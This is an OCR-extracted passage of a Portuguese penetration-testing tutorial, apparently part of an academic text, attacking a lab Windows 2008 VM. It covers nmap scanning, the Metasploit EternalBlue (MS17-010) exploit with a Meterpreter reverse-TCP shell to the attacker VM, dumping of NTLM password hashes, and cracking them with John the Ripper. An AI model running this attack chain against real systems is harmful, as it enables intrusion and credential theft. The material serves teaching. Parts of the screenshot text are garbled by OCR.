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ﬂ Kali-Linux-2018.1-vbox-amd64 (Inicial upgraded 10-05-2018) [Running] - Oracle VM VirtualBox =3 O X

File Machine View Input Devices Help
Applications v Places v  [J Terminal ~ Thu 18:10

root@kali: ~
File Edit View Search Terminal Help

mac name 0s_name os_flavor

08:00:27:82:e4:7c VAGRANT-2008R2 Windows 2008 SP1 server

name
ssh

msrpc

netbios-ssn

microsoft-ds Unix (Samba 3.4.7)
PPP

mysql

ms-wbt-server

ajpl3

http-proxy

https-alt

unknown

unknown

unknown

unknown

unknown

2w L e P @ (% right curl

Figura 32 - Saida dos comandos “hosts” e “services”.

Como foi dito anteriormente, a op¢ao “-F” para o comando “db_nmap” ndo faz o
scanning de todas as portas da VM. Para isso, basta digitar “db_nmap -p 0-65535 -sS -n -
V --reason --open 192.168.56.104”. A opg¢ao “-p 0-65535” indica que o scanning deve ser
feito da porta “0” até a porta “65535”. Verifica-se, na figura 33, que foi descoberta mais
uma porta aberta e as novas informagdes foram automaticamente adicionadas as tabelas,

como na figura 34.
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ﬂ Kali-Linux-2018.1-vbox-amd64 (Inicial upgraded 10-05-2018) [Running] - Oracle V..  — O X

File Machine View Input Devices Help

Applications « Places v Terminal «

root@kali: ~ e ® 0

File Edit View Search Terminal Help

nmap -p 0-65535 -SS -n -v --reason --open 192.168.56.104

: Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-17 18:12 EDT

: Initiating ARP Ping Scan at 18:12

: Scanning 192.168.56.104 [1 port]

: Completed ARP Ping Scan at 18:12, 0.03s elapsed (1 total hosts)

: Initiating SYN Stealth Scan at 18:12

: Scanning 192.168.56.104 [65536 ports]
Discovered open port 3389/tcp on 192.168.56.104
Discovered open port 3306/tcp on 192.168.56.104

: Discovered open port 135/tcp on 192.168.56.104

: Discovered open port 8080/tcp on 192.168.56.104

: Discovered open port 445/tcp on 192.168.56.104

: Discovered open port 22/tcp on 192.168.56.104

: Discovered open port 139/tcp on 192.168.56.104

: Discovered open port 49154/tcp on 192.168.56.104
Discovered open port 49161/tcp on 192.168.56.104

: Discovered open port 8022/tcp on 192.168.56.104

: Discovered open port 47001/tcp on 192.168.56.104

: Discovered open port 49266/tcp on 192.168.56.104

: Discovered open port 49152/tcp on 192.168.56.104

: Discovered open port 7676/tcp on 192.168.56.104

: Discovered open port 49267/tcp on 192.168.56.104
Discovered open port 49158/tcp on 192.168.56.104

: Discovered open port 8019/tcp on 192.168.56.104

: Discovered open port 8181/tcp on 192.168.56.104

: Discovered open port 9200@/tcp on 192.168.56.104

: Discovered open port 49168/tcp on 192.168.56.104

: Discovered open port 4848/tcp on 192.168.56.104

: Discovered open port 8585/tcp on 192.168.56.104

: Discovered open port 49156/tcp on 192.168.56.104

: Discovered open port 8027/tcp on 192.168.56.104

: Discovered open port 8028/tcp on 192.168.56.104

: Discovered open port 8444/tcp on 192.168.56.104

: Discovered open port 9300/tcp on 192.168.56.104

: Discovered open port 8032/tcp on 192.168.56.104

: Discovered open port 8020/tcp on 192.168.56.104

: Discovered open port 8383/tcp on 192.168.56.104

: Discovered open port 49242/tcp on 192.168.56.104

: Discovered open port 8031/tcp on 192.168.56.104
Discovered open port 8009/tcp on 192.168.56.104
Discovered open port 8443/tcp on 192.168.56.104

: Discovered open port 8484/tcp on 192.168.56.104

: Discovered open port 3700/tcp on 192.168.56.104

: Discovered open port 49153/tcp on 192.168.56.104

: Discovered open port 8282/tcp on 192.168.56.104

: Discovered open port 49183/tcp on 192.168.56.104

: Discovered open port 5985/tcp on 192.168.56.104
Discovered open port 8686/tcp on 192.168.56.104

: Discovered open port 1617/tcp on 192.168.56.104

: Discovered open port 3008/tcp on 192.168.56.104

: Completed SYN Stealth Scan at 18:12, 18.75s elapsed (65536 total ports)

: Nmap scan report for 192.168.56.104

: Host is up, received arp-response (0.00043s latency).

: Not shown: 65150 closed ports, 343 filtered ports

: Reason: 65150 resets and 343 no-responses

: Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

. PORT STATE SERVICE REASON

GO P (3 right o

Figura 33 - Saida do scanning completo de portas.
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ﬂ Kali-Linux-2018.1-vbox-amd64 (Inicial upgraded 10-05-2018) [Running] - Orac.. — O X

File Machine View Input Devices Help

Applications « Places « Terminal « Thu 18:22
root@kali: ~

File Edit View Search Terminal Help

mac name

08:00:27:82:ed4:7c VAGRANT-2008R2 Windows 2008

state 1info

open Unix (Samba 3.4.7)
open
open
open
open
open
open
¥ g open
imgbrokerd open
ajpl3 open
qbdb open
intu-ec-sv open
8022 oa-system open
8027 c open
8028 c open
80631 c unknown open
8032 c pro-ed open
gose c http-proxy open
8181 c intermapper open
8282 c libelle open
8383 C m2mservices open
8443 c https-alt open
8444 C pcsync-http open
8484 c unknown open
8585 c open
8686 c sun-as-jmxrmi open
9200 C wap-wsp open
9300 c vrace open
47001 winrm open
49152 c unknown open
49153 c unknown open
49154 c unknown open
49156 c unknown open
49157 c unknown open
49158 c unknown open
49161 unknown open
49168 unknown open
40183 open
49242 open
49266 open
49267 open

IFR-R]

9
9
9
9

P

2.
2.
2.
23
2.
2.
2.
P

2.
2

2.
2.
2.
2.
2.
2.
2.
2.
2.
2.
2.
2.
2.
2.
2.
2.
2.
2

2.
2.
2.

OV WWYWYO WYY

IR
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IR

O W W

]
h

< >
2w o e P 3 #] right control

Figura 34 - Informag6es adicionadas automaticamente.

E possivel verificar na saida do comando “services”, os servicos que estio sendo
executados em cada porta aberta, embora a versdo do software usado no servi¢o ndo seja
fornecida. Isto ocorre porque o servigo ndo é efetivamente verificado. O que ocorre € que,
uma vez constatada a porta aberta, é feita uma consulta do servico padrdo utilizado
amplamente por aquela porta. Para verificar, efetivamente o servico e as informacgoes, sobre
0 servico, deve-se executar o comando “db nmap -sS -sV -sC -v -n -p

22,135,139,445,1617,3000,3306,3389,3700,4848,5985,7676,8009,8019,8020,8022,8027,
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8028,8031,8032,8080,8181,8282,8383,8443,8444,8484,8585,8686,9200,9300,47001,491
52,49153,49154,49156,49157,49158,49161,49168,49183,49242,49266,49267

192.168.56.104”. As opgodes “-sV” e “-sC” indicam, respectivamente, para que sejam
verificados 0s servi¢os rodando nas portas e para que sejam executados os scripts padrao
para obter mais informacdo especifica sobre os mesmos, normalmente fornecida pelos
fabricantes e desenvolvedores. A opcdo “-p” especifica as portas separadas por virgula que
se encontram abertas. E, por Gltimo, o endereco IP da vitima. Apés a execugdo desse
comando, verifica-se que mais informacdes foram adicionadas e algumas mudaram (na
coluna “name”, por exemplo) na tabela correspondente aos servigos, digitando o comando

“services (figura 35).

ﬁ Kali-Linux-2018.1-vbox-amd64 (Inicial upgraded 10-05-2018) [Running] - Oracle VM VirtualBox — O X
File Machine View Input Devices Help
Applications - Places »  [J Terminal
root@kali: ~
File Edit View Search Terminal Help

port proto name ] info

open OpenS5H 7.1 protocol 2.0
open Mi ft Windows RPC
open f A n
open A rver 2008 R2 Standard 7601 Service Pack 1 micros
open : ! i
open httpd 1.3.1 Ruby 2.3.3 (2016-11-21)
mysql open MySOL 5.5.28-log
tcpwrapped open
giop open C
ssl/http open ri tion Server
http open i ft HTTPAPI httpd 2.8 SSDP/UPNP
java-message-service open 3 301
ajpl3 open
gbdb open
http open
http open
open
postgresql open PostgreSQL DB
ss1/unknown open
desktop-central open ManageEngine Desktop Central DesktopCentralServer
http open Sun GlassFish Open Source Edition 4.0
intermapper open
open Apache Tomcat/Coyote ISP engine 1.1
open Apache httpd
L open
desktop-central open ManageEngine Desktop Central DesktopCentralServer
http open Jetty winstone-2
htt open Apache httpd 2.2.21 (WinG4) PHP/5.3.10 DAV/2
1 open RMI Registry
open Elasti ch REST API 1.1.1 name: Eon; Lucene 4.7
open
open
open
49153 | open
49154 r| open
49156 Srpe open i ft Windows
49157 3 closed
49158 KO\ open
open Java RMI
open
open i ft Windows R
open f
ssh open c i 8 protocol 2.0
jenkins-listener open g istener

B O b= & L e {3 @ #] right control

Figura 35 - Saida do comando “services” com novas informagées.

Com isso, pode-se procurar um exploit que se adeque aos requisitos dos servigos da
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figura 35. Foi escolhido o servigo “microsoft-ds” que executa na porta 445. Por isso, foi
feita uma pesquisa usando o comando “search microsoft-ds”, que ndo retornou nenhum
resultado (figura 36). Pesquisando na internet (figura 37), verifica-se que 0 servico
“microsoft-ds”, executa na porta 445 ¢ corresponde ao Samba (smb). Portanto, foi feita

uma nova pesquisa, digitando “search smb”, visto na figura 36.

Terminal e ® 0

File Edit View Search Terminal Help
msf > search microsoft-ds

msf > search smb

Disclosure Date Descripti

auxiliary/admin/mssql/mssql_enum_domain_accounts normal Microsoft
SQL Server SUSER SNAME Windows Domain Account Enumeration

auxiliary/admin/mssql/mssql_enum domain accounts sqli normal Microsoft
SQL Server SQLi SUSER SNAME Windows Domain Account Enumeration

auxiliary/admin/mssql/mssql_ntlm stealer normal Microsoft
SQL Server NTLM Stealer

auxiliary/admin/mssql/mssql ntlm stealer sqli normal Microsoft
SQL Server SQLi NTLM Stealer

auxiliary/admin/oracle/ora ntlm stealer 2009-04-07 normal Oracle SM
B Relay Code Execution

auxiliary/admin/smb/check dir file normal SMB Scann
er Check File/Directory Utility

auxiliary/admin/smb/delete file normal SMB File
Delete Utility

auxiliary/admin/smb/download file normal SMB File
Download Utility

auxiliary/admin/smb/list directory normal SMB Direc
tory Listing Utility

auxiliary/admin/smb/psexec_command normal Microsoft
Windows Authenticated Administration Utility

auxiliary/admin/smb/psexec_ntdsgrab normal PsExec NT
DS.dit And SYSTEM Hive Download Utility

auxiliary/admin/smb/samba symlink traversal normal Samba Sym
link Directory Traversal

Figura 36 - Pesquisa sobre o servigo Samba no Metasploit®.
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R i microsoft-ds Q

All Images Videos News Shopping More Settings Tools

About 121,000,000 results (0.31 seconds)

GRC | Port Authority, for Internet Port 445

https://iwww.grc.com/port_445.htm ~
Name: microsoft-ds. Purpose: Microsoft Directory Services. Description: This port replaces the
notorious Windows NetBIOS trio (ports 137-139), for all versions of ...

People also ask

hat is Microsoft DS on port 4457

Along with ports 135, 137 and 139, port 445 is a traditional Microsoft networking
port. Specifically, TCP port 445 runs server message block (SMB) over TCP/IP.
his is a core means for communication on a Microsoft-based LAN.

How to detect and defend against a TCP port 445 exploit@
https://searchsecurity.techtarget.com/.../Detecting-and-defending-against-TCP-port-445-...

Search for: What is Microsoft DS on port 445?

Figura 37 - Pesquisa no google sobre servi¢o Microsoft-ds.

Foi escolhido o exploit “eternal blue”, pois existe um modulo auxiliar que verifica
a possiblidade de a vitima ser vulneravel a um ataque. Digitando o comando “show info”
e o caminho do exploit, as informacdes sobre o exploit sdéo mostradas (figura 38). Por esse
motivo, foi selecionado este modulo, configurada as opcGes e foi executado. O resultado
informa que é muito provavel que a vitima seja vulneravel, “Host is likely VULNERABLE
to MS17-010!” (figura 39). A referéncia ao “MS17-010” indica a vulnerabilidade da qual
0 exploit se aproveita [53].
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Kali-Linux-2018.1-vbox-amd64 (Inicial upgraded 10-05-2018) [Running] - Oracle VM VirtualBox

File

Machine View Input Devices Help

Places «

pplications v

erminal v

root@Kkali: ~

File Edit View Search Terminal
Insf > search eternalblue

Help
Matching Module

Name Disclosure Date Rank

2017-03-14
2017-03-14

Description

EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
SMB RCE Detection

SMB RCE Detection

EternalBlue SMB Remote Windows Kernel Pool Corruption
EternalBlue SMB Remote Windows Kernel Pool Corruption
EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows

MS17-010
M517-010
M517-010
M517-010
M517-010
M517-010
M517-010
M517-010

Command Execution
Command Execution

auxiliary/admin/smb/ms17_010_command
auxiliary/admin/smb/ms17 010 command
auxiliary/scanner/smb/smb_ms17_010
auxiliary/scanner/smb/smb_ms17_010
exploit/windows/smb/ms17 010 _eternalblue
exploit/windows/smb/ms17 010 eternalblue
exploit/windows/smb/ms17 010_psexec
exploit/windows/smb/ms17 010 psexec

2017-03-14
2017-03-14
2017-03-14
2017-03-14

Code Execution
Code Execution

Imsf > show info auxiliary/scanner/smb/smb ms17 010

Name:
Modul
License
Ran

MS17-010 SMB RCE Detection
auxiliary/scanner/smb/smb_ms17_010
Metasploit Framework License (BSD)
Normal

Provided by:
Sean Dillon <sean.dillon@risksense.com>
Luke Jennings

Basic options:
Name
CHECK_ARCH
CHECK_DOPU
CHECK_PIPE
NAMED_PIPES
RHOSTS
RPORT
SMBDomain
SMBPass
SMBUser
THREADS

Current Setting

Required Description
true

true

false

/usr/share/metasploit-framework/data/wordlists/named pipes.txt

Check for architecture on vulnerable hosts
Check for DOUBLEPULSAR on vulnerable hosts
Check for named pipe on vulnerable hosts
List of named pipes to check

The target address range or CIDR identifier
The SMB service port (TCP)

The Windows domain to use for authentication
The password for the specified username

The username to authenticate as

The number of concurrent threads

445

Description:
Uses information disclosure to determine if MS17-810@ has been
patched or not. Specifically, it connects to the IPC$ tree and
attempts a transaction on FID 0. If the status returned is
"STATUS_INSUFF_SERVER RESOURCES", the machine does not have the
MS17-010 patch. If the machine is missing the MS17-010 patch, the
module will check for an existing DoublePulsar (ring 0
shellcode/malware) infection. This module does not require valid SMB
credentials in default server configurations. It can log on as the
user "\" and connect to IPCS.

References:
Also known as: DOUBLEPULSAR
Also known as: ETERNALBLUE
https://cvedetails.com/cve/CVE-2017-0143/

& & 3 3 %] Right Control

Figura 38 - Informacdes sobre exploit auxiliar.

Kali-Linux-2018.1-vbox-amd64 (Inicial upgraded 10-05-2018) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Applications v Places v Thu 19:22

root@kali: ~
File

Edit View Search Terminal Help

msf > use auxiliary/scanner/smb/smb_ms17 010
msf auxiliary( ) > show options

Module options (auxiliary/scanner/smb/smb _ms17 016):

rent Setting Required Description

CHECK_ARCH
CHECK_DOPU
CHECK_PIPE

true
true
false

Check for architecture on vulnerable hosts
Check for DOUBLEPULSAR on vulnerable hosts
Check for named pipe on vulnerable hosts

NAMED_PIPES
RHOSTS
RPORT
SMBDomain
SMBPass
SMBUser
THREADS

List of named pipes to check

The target address range or CIDR identifier
The SMB service port (TCP)

The Windows domain to use for authentication
The password for the specified username

The username to authenticate as

The number of concurrent threads

/usr/share/metasploit-framework/data/wordlists/named pipes.txt
192.168.56.104
445

msf auxiliary(

) > set RHOSTS 192.168.56.104
RHOSTS => 192.168.56.104
msf auxiliary(

RPORT => 445

msf auxiliary(

) > set RPORT 445

) > run

192.168.56.104:445 - - Wwindows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit)
Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed

auxiliary( ) >

auxiliary( ) >

i & L (5} 3] Right Control

Figura 39 - Saida da execug¢do do exploit auxiliar.

Agora basta selecionar o ataque, verificar e configurar as op¢des e um payload. Para

visualizar os payloads compativeis com o exploit, digita-se “show payloads”. Escolhe-se 0
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payload “set payload windows/x64/meterpreter/reverse tcp”, configura as opgdes e
executa-o, visto nas figuras 40, 41 e 42. Para configurar a variavel “RHOST” foi usado
“setg”, o “g” indica que a configuracdo para essa variavel ¢ global, ou seja, de agora em
diante sempre que essa variavel aparecer como opg¢do de algum exploit, ela tera o valor
configurado nesse comando. Com essa op¢do ndo € necessario configurar a variavel
“RHOST” em uma nova tentativa com outro exploit. O payload escolhido, apos feito seu
upload para a vitima, tenta se comunicar com a VM do atacante, através de uma conexdo
tcp, para abrir um terminal do tipo escolhido, o Meterpreter©. Devido a isso, as
configuragdes de “LHOST” e “LPORT” sao as informacgdes da propria VM atacante. Apos
0 atague ser executado com sucesso, abre-se o Meterpreter© e verifica-se o tipo de
privilégio de acesso conseguido com o comando “getuid”. Constata-Se que 0 acesso €
administrativo. Portanto, com o comando “hashdump”, recuperam-se 0s nomes de Usuarios
e 0 hash das senhas. De posse destas informacdes, pode-se fazer ataques de quebra de

senhas.

ﬂ Kali-Linux-2018.1-vbox-amd64 (Inicial upgraded 10-05-2018) [Running] - Oracle VM VirtualBox == [m] X

File Machine View Input Devices Help
Applications + Pi ~ [ Terminal ~ Thu 19:34

root@Kkali: ~

File Edit View Search Terminal Help
msf auxiliary( ) > use exploit/windows/smb/ms17_010_eternalblue
msf exploit( ) > show options

Module options (exploit/windows/smb/ms17 010 eternalblue):
n

mAllocations e mber of times to groom the kernel pool.
GroomDelta 5 The amount to increase the groom count by per try.
MaxExploitAttempts 3 The number of times to retry the exploit.
ProcessName spoolsv.exe Process to inject payload into.
RHOST The target address
RPORT 445 The target port (TCP)
SMBDomain . (Optional) The Windows domain to use for authentication
MBS (Optional) The password for the specified username
SMBI (Optional) The username to authenticate as
VerifyArch Check if remote architecture matches exploit Target.
VerifyTarget Check if remote 0S matches exploit Target.

Exploit target:

Id Name

0 Windows 7 and Server 2008 R2 (x64) All Service Packs

etg RHOST 192.168.56.104
show payloads

Compatible Payloads

Disclosure Date Rank  Description
generic/custom normal Custom Payload
generic/shell bind_tcp normal Generic Command Shell, Bind TCP Inline
eric/shell_reverse tcp normal Generic Command Shell, Reverse TCP Inline
dows /x64 C normal Windows x64 Execute Command
windows/x64/loadlibrary normal Windows x64 LoadLibrary Path
windows/x64/meterpreter/bind_ipv6 tcp normal Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
windows/x64/meterpreter/bind_ipv6_tcp uuid normal Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
windows/x64/meterpreter/bind _named pipe normal Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
windows/x64/meterpreter/bind_tcp normal Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
windows/x64/meterpreter/bind tcp_uuid normal Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
windows/x64/meterpreter/reverse _http normal Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
windows/x64/meterpreter/reverse https normal Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
windows/x64/meterpreter/reverse _named pipe normal Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
windows/: eterpreter/reverse tcp normal Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
eterpreter/reverse tcp rc4 normal Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)

4/meterpreter/reverse tcp uuid normal Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
windows/x64/meterpreter/reverse winhttp normal Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
windows/x64/meterpreter/reverse winhttps normal Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
windows/x64/powershell bind tcp normal Windows Interactive Powershell Session, Bind TCP
windows/x64/powershell _reverse tcp normal Windows Interactive Powershell Session, Reverse TCP
windows/x64/shell/bind ipv6 tcp normal Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager

d |

|l & (I} (8 [%] right cControl

Figura 40 - Configuragdo exploit “eternalblue”.
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Help

File Fdit View Search Terminal Help

Help
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Figura 41 - Sele¢do do payload e configuracéo de suas opces.
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ﬂ Kali-Linux-2018.1-vbox-amd64 (Inicial upgraded 10-05-2018) [Running] - Oracle VM VirtualBox = O X

File Machine View Input Devices Help
Applications » Places v Terminal « Thu 19:56

root@kali: ~

File Edit View Search Terminal Help

exploit( ) > run

*] Started reverse TCP handler on 192.168.56.103:7777
] 192.168.56. 45 - Connecting to target for exploitation.
192.168.56. 45 - Connection established for exploitation.
192.168.56. 45 - Target 0S selected valid for 0S indicated by SMB reply
*] 192.168.56. 45 - CORE raw buffer dump (51 bytes)
192.168.56. s - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
192.168.56. 45 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
*] 192.168.56. - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
*] 192.168.56. 45 - 0x00000030 6b 20 31 k1
192.168.56. 45 - Target arch selected valid for arch indicated by DCE/RPC reply
] 192.168.56. 45 - Trying exploit with 12 Groom Allocations.
192.168.56. 45 - Sending all but last fragment of exploit packet
*] 192.168.56. 45 - Starting non-paged pool grooming
192.168.56. : - Sending SMBv2 buffers
192.168.56. 45 - Closing SMBvl connection creating free hole adjacent to SMBv2 buffer
*] 192.168.56. - Sending final SMBv2 buffers.
192.168.56. : Sending last fragment of exploit packet!
] 192.168.56. : Receiving response from exploit packet
192.168.56. - ETERNALBLUE overwrite completed successfully (0xC@@E000GD)!
*] 192.168.56. 45 - Sending egg to corrupted connection.
192.168.56.104:445 - Triggering free of corrupted buffer
Sending stage (206403 bytes) to 192.168.56.104
Meterpreter session 2 opened (192.168.56.103:7777 192.168.56.104:50766) at 2018-05-17 19:54:51 -0400
192.168.56.10
[+] 192.168.56.10
[+] 192.168.56.10:

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51171d913c245d35b50b: : :
anakin_skywalker:1011:aad3b435b51404eeaad3b435b51404ee: c706T83a7b17a0230e55cde2f3de94fa:
artoo_detoo: 1007 :aad3b435b51404eeaad3b435b51404ee: facbaada8b7afc418b3afeab3b7577b4:
ben_kenobi:1009:aad3b435b51404eeaad3ba35b51404ee:4fb77d816bce7aeee80d7c2e5e55c859

boba fett:1014:aad3b435b51404eeaad3b435b51404ee:d60f9a4859dad feadaf160e97d200dc
chewbacca:1017:aad3b435b51404eeaad3b435b51404ee: e7200536327ee731c7fel36af4575ed8:
c_three pio:1008:aad3b435b51404eeaad3b435b51404ee: 0fd2ebd0c4aab690171ba066c037397e:
darth_vader:1010:aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acathaadadibaea3el
greedo:1016:aad3b435b51404eeaad3b435b51404ee : ce269c6b7d9e21522b44686b49082db: : :
Guest:501:aad3b435b51404eeaad3ba35b51404ee:31d6cfedd16ae931b73c59d7e0c089¢cO: : :
han_solo:1006:aad3b435b51404eeaad3b435b51404ee : 33ed98c5969d05a7c15¢25¢99e3ef951

jabba hutt:1015:aad3b435b51404eeaad3b435b51404ee: 93ecdeaab3d63565737fe7f28d99ce76
jarjar_binks:1012:aad3b435b51404eeaad3b435b51404ee: ecldcd52077e75aet4a1930b0917 c4x

kylo ren:1018:aad3b435b51404eeaad3b435b51404ee: 74c0a3dd06613d3240331e94ae18b001: : :
lando calrissian:1013:aad3b435b51404eeaad3b435b51404ee:6270845589812d7db11cfh670042a53
leia organa:1004:aad3b435b51404eeaad3b435b51404ee: 8ae6a810ce203621cT9cfabf21114028:
luke_skywalker:1005:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bacB2005a: : :
sshd:1001:aad3b435b51404eeaad3b4a35b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0: :
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0al6cfc061c3359dba55d00ec2703
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51171d913¢c245d35b50b: : :

meterreter >
meterpreter

Gl ") B & Ll & 2} (8 | 3] Right Control

Figura 42 - Exploit executado com sucesso, com privilégios de administrador.

4.5 Broken Authentication

A autenticacdo de um usuério consiste na identificacdo e no inicio e gerenciamento
da sessdo. A autenticacdo pode ser feita por meio de um token (smart card), senha,
biometria (escaneamento de retina ou digital, por exemplo), etc. Uma vez identificado o
usuario, gera-se uma sessdo unica para 0 mesmo, e sao enviados cookies para 0 computador
do usuario no intuito de identifica-lo. A sessdo pode expirar quando o usuario faz logoff,

apos um determinado tempo de inatividade ou ap6s um intervalo de tempo fixo apds a
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autenticacdo. Quando alguma falha nesse processo permite acesso ndo autorizado, ocorre
uma quebra de autenticagdo ou de gerenciamento de sessdo [54].

Quando se tem acesso aos hashs das senhas, como na figura 42, ainda ndo foi feito
uma quebra de acesso, pois ndo se pode utiliza-los diretamente para obter o acesso ndo
autorizado no processo de autenticacdo. Para isso, realiza-se um ataque de quebra de senha

demonstrado no exemplo a seguir.

4.6 Quebra de senha

Continuando o ataque, mostrado na figura 42, coloca-se a sessao do Meterpreter©
em segundo plano com o comando “background”. Usa-se 0 exploit do tipo “post”, que é
util apds a abertura de uma sessdo de um exploit executado com sucesso, para obter 0s
hashes das senhas e os wusuarios da vitima, digitando o comando ‘“use
post/windows/gather/smart_hashdump”. Este exploit coleta os hashes da vitima e os
armazena no banco de dados do Metasploit® no PostgreSQL. As opcgdes foram
configuradas com os comandos “set GETSYSTEM true” e “set SESSION 27, para tentar
elevar os privilégios da sessdo para administrativos e indicar qual a sessdo que esse exploit

ird usar (figura 43). O resultado da execuc¢do € mostrado na figura 44.
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root@Kkali: ~ e ® 0

File Edit View Search Terminal Help
meterpreter > background

[*] Backgrounding session 2...
msf > sessions

Active sessions

Id Name Type Information Connection

2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ VAGRANT-2008R2 192.168.56.103:7777 -> 192.168.56.101:49292 (192.168.56.101)

msf > use post/windows/gather/smart_hashdump
msf post( ) > show info
Name: Windows Gather Local and Domain Controller Account Password Hashes
Module: post/windows/gather/smart_hashdump
Platform: Windows
Arch:
Rank: Normal

Provided by:
Carlos Perez <carlos perez@darkoperator.com>

Compatible session types:
Meterpreter

Basic options:
Name Current Setting Required Descriptio
GETSYSTEM true Attempt to get SYSTEM privilege on the target host.
SESSION 2 The session to run this module on.

Description:
This will dump local accounts from the SAM Database. If the target
host is a Domain Controller, it will dump the Domain Account
Database using the proper technique depending on privilege level, 0S
and role of the host.

msf post( ) >
msf post( ) > show options

Module options (post/windows/gather/smart_hashdu

Name Current Setting Required Description
GETSYSTEM true Attempt to get SYSTEM privilege on the target host.
SESSION 2 The session to run this module on.

Figura 43: Uso de exploit para obter hashes da vitima e armazenar no banco de dados.

root@kali: ~ [ IO ]
File Edit View Search Terminal Help
post(

t VAGRANT-20¢

to the datab

in loot in JtR pa ord file
1122305_default_192.168.5

tracting hashes from registry
key using 8: e4d27a94cd633. . .
r list and keys...

=
Dumping p .
Administrato e aad3b435b51404ee:e02bc503339d51171d913c245d35b50b:
d3b435b5140 d3b435b5140 e82bc503339d51171d913c245d35b56b: - :
ad3b435b514¢ ad3b435b51404 0 c3359db455d00ec27035
rgana:1004:aad3b435b51404eeaad3b435b51404e
1005:aad3b435b514¢ ad3b435b514
EELELEERLEIE! ad3b435b51404e
:aad3b435b514¢ ad3b435b51404
aad3b435b514¢ ad3b435b51404e
ad3b435b5140 d3b435b51.
ad3b435b51404eeaad3b435b51404e 73a851f8ecff7acafba 6 e
:1811:aad3b435b51404eeaad3b435b51404ee: c70683a7bl7a0230e55cde2f3de94fa: : :
d3b435b5146 ad3b435b514¢ 1dcd52077e75 4a1930b0917c4d4:
1013:aad3b435b514 ad3b435b5140
boba :1814:aad3b435b51404 ad3b435b514¢
jabba_hut 015:aad3b435b5140 EELELEERLENE
d3b435b5146 ad3b435b51404
d3b435b51404 ad3b435b514¢ e7200536327ee731c7fel36af457
kylo ren: aad3b435b51404ecaad3b435b51404ee: 74c0a3dd06613d3240331e94ae18bi
ution completed

Figura 44: Resultado da coleta e armazenamento de hashes da vitima.
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Com os hashes das senhas, salvos no banco de dados, pode-se utilizar o exploit para
quebra de senhas. Nesse exemplo, foi usado o comando  “use
auxiliary/analyze/jtr_crack fast”. Este exploit auxiliar utiliza a ferramenta de quebra de
senhas John the Ripper®, que é uma ferramenta projetada para ser rapida e que combina
varios modos de quebra de senha em um Unico software [55]. E possivel usar todas as
opcBes como padrdo, pois ndo hd nenhuma que seja obrigatdria (figura 45). O resultado da
execucdo do exploit, que ocorre apos digitar o comando “run”, com as senhas que foram
quebradas e seus respectivos nomes de usuarios podem ser visto na figura 46.

Sabe-se, pela figura 35, que o software OpenSSH®© roda na porta 22. Ele é usado
para realizar conexdes remotas criptografadas com o protocolo SSH®O. Portanto, pode-se
testar se as senhas que foram quebradas estdo validas digitando “ssh
Administrator@192.168.56.101” ¢ apertando a tecla “enter”. Em seguida, basta digitar a
senha correspondente (figura 46). Constata-se que o login foi feito com sucesso. O

resultado desse processo para as trés senhas quebradas pode ser visto na figura 47.

P

root@kali: ~ @ ® 0

File Edit View Search Terminal Help
msf post( ) > use auxiliary/analyze/jtr crack fast
msf auxiliary( ) > show info

Name: John the Ripper Password Cracker (Fast Mode)
Module: auxiliary/analyze/jtr crack fast
License: Metasploit Framework License (BSD)

Rank: Normal

Provided by:
hdm <x@hdm.io>

Basic options:
Name Current Setting Required Description

CONFIG The path to a John config file to use instead of the default
CUSTOM_WORDLIST The path to an optional custom wordlist

ITERATION TIMOUT The max-run-time for each iteration of cracking

JOHN PATH The absolute path to the John the Ripper executable
KoreLogic Apply the KoreLogic rules to Wordlist Mode(slower)

MUTATE Apply common mutations to the Wordlist (SLOW)

POT The path to a John POT file to use instead of the default
USE_CREDS Use existing credential data saved in the database
USE_DB_INFO Use looted database schema info to seed the wordlist
USE_DEFAULT WORDLIST Use the default metasploit wordlist

USE_HOSTNAMES r Seed the wordlist with hostnames from the workspace
USE_ROOT_WORDS Use the Common Root Words Wordlist

Description:

This module uses John the Ripper to identify weak passwords that
have been acquired as hashed files (loot) or raw LANMAN/NTLM hashes
(hashdump). The goal of this module is to find trivial passwords in
a short amount of time. To crack complex passwords or use large
wordlists, John the Ripper should be used outside of Metasploit.
This initial version just handles LM/NTLM credentials from hashdump
and uses the standard wordlist and rules.

Figura 45: Exploit auxiliar de quebra de senhas.
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File Edit View Search Terminal Help

